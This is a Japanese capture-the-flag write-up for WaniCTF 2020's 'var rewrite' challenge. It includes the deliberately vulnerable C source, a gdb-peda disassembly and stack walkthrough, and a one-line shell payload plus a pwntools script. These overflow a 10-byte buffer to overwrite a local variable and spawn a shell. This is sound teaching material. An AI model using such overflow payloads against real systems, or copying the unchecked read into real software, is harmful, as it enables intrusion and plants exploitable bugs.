WaniCTF 2020 pwn 02 var rewrite Writeup


スタックバッファオーバーフローによって,ローカル変数を書き換える訓練。

攻撃コード1

$ (echo "AAAAAAAAAAWANI"; cat) | ./pwn02

攻撃コード2

pwn02.py
import pwn

#io = pwn.remote("var.wanictf.org", 9002)
io = pwn.process("./pwn02")

ret = io.readuntil("What's your name?: ")
print(ret)

s = b"A" * 10
s += b"WANI\x00"

print(s)

io.send(s)
io.interactive()

問題文

nc var.wanictf.org 9002
stackの仕組みを理解する必要があります。
ローカル変数はstackに積まれます。
ローカル変数を書き換えて下さい。

配布データ

pwn02.c
pwn02
pwn02.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

char str_head[] = "hello ";
char str_tail[] = "!\n";

void win()
{
    puts("Congratulation!");
    system("/bin/sh");
    exit(0);
}

void vuln()
{
    char target[] = "HACKASE";
    char name[10];
    char *p;
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    if (strncmp(target, "WANI", 4) == 0)
    {
        win();
    }
    else
    {
        printf("target = %s\n", target);
    }

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    printf("\n***start stack dump***\n");
    i = rsp;
    while (i <= rbp + 8)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    printf("***end stack dump***\n\n");
}

ローカル変数 name をオーバーフローさせ,target に格納されている文字列 HACKASE の先頭から4バイトを WANI に変えれば, win関数 に飛び,シェル system("/bin/sh") が起動するのでlsやcatでフラグが取れそうです。

とりあえず実行するとこんな感じ

$ ./pwn02
What's your name?: AAA
hello AAA!
target = HACKASE

***start stack dump***
0x7fffd1659a00: 0x00007fffd1659a20 <- rsp
0x7fffd1659a08: 0x0000004141410790
0x7fffd1659a10: 0x4b434148d1659b10
0x7fffd1659a18: 0x0000000400455341
0x7fffd1659a20: 0x00007fffd1659a30 <- rbp
0x7fffd1659a28: 0x00000000004009b6 <- return address
***end stack dump***

スタック見えてますが,目を瞑って

gdbスタート

$ gdb -q ./pwn02
Reading symbols from ./pwn02...(no debugging symbols found)...done.

gdb-peda$ b main
Breakpoint 1 at 0x4009a2

gdb-peda$ r
Starting program: /mnt/c/pwn02
Breakpoint 1, 0x00000000004009a2 in main ()

vuln()を確認します

gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
   0x000000000040089d <+0>:     push   rbp
   0x000000000040089e <+1>:     mov    rbp,rsp
   0x00000000004008a1 <+4>:     sub    rsp,0x20
   0x00000000004008a5 <+8>:     movabs rax,0x4553414b434148
   0x00000000004008af <+18>:    mov    QWORD PTR [rbp-0xc],rax
   0x00000000004008b3 <+22>:    lea    rdi,[rip+0x2c2]        # 0x400b7c
   0x00000000004008ba <+29>:    mov    eax,0x0
   0x00000000004008bf <+34>:    call   0x400750 <printf@plt>
   0x00000000004008c4 <+39>:    lea    rax,[rbp-0x16]
   0x00000000004008c8 <+43>:    mov    edx,0x100
   0x00000000004008cd <+48>:    mov    rsi,rax
   0x00000000004008d0 <+51>:    mov    edi,0x0
   0x00000000004008d5 <+56>:    call   0x400770 <read@plt>
   0x00000000004008da <+61>:    mov    DWORD PTR [rbp-0x4],eax
   0x00000000004008dd <+64>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004008e0 <+67>:    sub    eax,0x1
   0x00000000004008e3 <+70>:    cdqe
   0x00000000004008e5 <+72>:    mov    BYTE PTR [rbp+rax*1-0x16],0x0
   0x00000000004008ea <+77>:    lea    rdi,[rip+0x20078f]        # 0x601080 <str_head>
   0x00000000004008f1 <+84>:    call   0x400720 <strlen@plt>
   0x00000000004008f6 <+89>:    mov    rdx,rax
   0x00000000004008f9 <+92>:    lea    rsi,[rip+0x200780]        # 0x601080 <str_head>
   0x0000000000400900 <+99>:    mov    edi,0x0
   0x0000000000400905 <+104>:   call   0x400710 <write@plt>
   0x000000000040090a <+109>:   lea    rax,[rbp-0x16]
   0x000000000040090e <+113>:   mov    rdi,rax
   0x0000000000400911 <+116>:   call   0x400720 <strlen@plt>
   0x0000000000400916 <+121>:   mov    rdx,rax
   0x0000000000400919 <+124>:   lea    rax,[rbp-0x16]
   0x000000000040091d <+128>:   mov    rsi,rax
   0x0000000000400920 <+131>:   mov    edi,0x0
   0x0000000000400925 <+136>:   call   0x400710 <write@plt>
   0x000000000040092a <+141>:   lea    rdi,[rip+0x200756]        # 0x601087 <str_tail>
   0x0000000000400931 <+148>:   call   0x400720 <strlen@plt>
   0x0000000000400936 <+153>:   mov    rdx,rax
   0x0000000000400939 <+156>:   lea    rsi,[rip+0x200747]        # 0x601087 <str_tail>
   0x0000000000400940 <+163>:   mov    edi,0x0
   0x0000000000400945 <+168>:   call   0x400710 <write@plt>
   0x000000000040094a <+173>:   lea    rax,[rbp-0xc]
   0x000000000040094e <+177>:   mov    edx,0x4
   0x0000000000400953 <+182>:   lea    rsi,[rip+0x236]        # 0x400b90
   0x000000000040095a <+189>:   mov    rdi,rax
   0x000000000040095d <+192>:   call   0x4006f0 <strncmp@plt>
   0x0000000000400962 <+197>:   test   eax,eax
   0x0000000000400964 <+199>:   jne    0x400972 <vuln+213>
   0x0000000000400966 <+201>:   mov    eax,0x0
   0x000000000040096b <+206>:   call   0x400877 <win>
   0x0000000000400970 <+211>:   jmp    0x40098a <vuln+237>
   0x0000000000400972 <+213>:   lea    rax,[rbp-0xc]
   0x0000000000400976 <+217>:   mov    rsi,rax
   0x0000000000400979 <+220>:   lea    rdi,[rip+0x215]        # 0x400b95
   0x0000000000400980 <+227>:   mov    eax,0x0
   0x0000000000400985 <+232>:   call   0x400750 <printf@plt>
   0x000000000040098a <+237>:   mov    rdx,rbp
   0x000000000040098d <+240>:   mov    rax,rsp
   0x0000000000400990 <+243>:   mov    rsi,rdx
   0x0000000000400993 <+246>:   mov    rdi,rax
   0x0000000000400996 <+249>:   call   0x400a05 <debug_stack_dump>
   0x000000000040099b <+254>:   nop
   0x000000000040099c <+255>:   leave
   0x000000000040099d <+256>:   ret
End of assembler dump.

read (入力)を抜けた後の入力文字列の末尾に文字列の終端を意味する 0x00 を付けている
mov BYTE PTR [rbp+rax*1-0x16],0x0
の次

   0x00000000004008ea <+77>:    lea    rdi,[rip+0x20078f]        # 0x601080 <str_head>

にブレークポイントを設定し,c (continue) で流します。

gdb-peda$ b *0x00000000004008ea
Breakpoint 2 at 0x4008ea
gdb-peda$ c
Continuing.
What's your name?:

What's your name?:とくるので, AAA を入力します。

よくわからないので詳細にスタックを見ます

gdb-peda$ x/10xg 0x7ffffffee280


現在 A*3 を入力していますが,黄色の蛍光ペンで示したように,Aが10個必要です。

攻撃してみます。

$ (echo "AAAAAAAAAAWANI"; cat) | ./pwn02
What's your name?: Congratulation!
cat flag.txt
CTF{gdb_is_useful}

ビンゴ
 
 
 
参考にしたサイト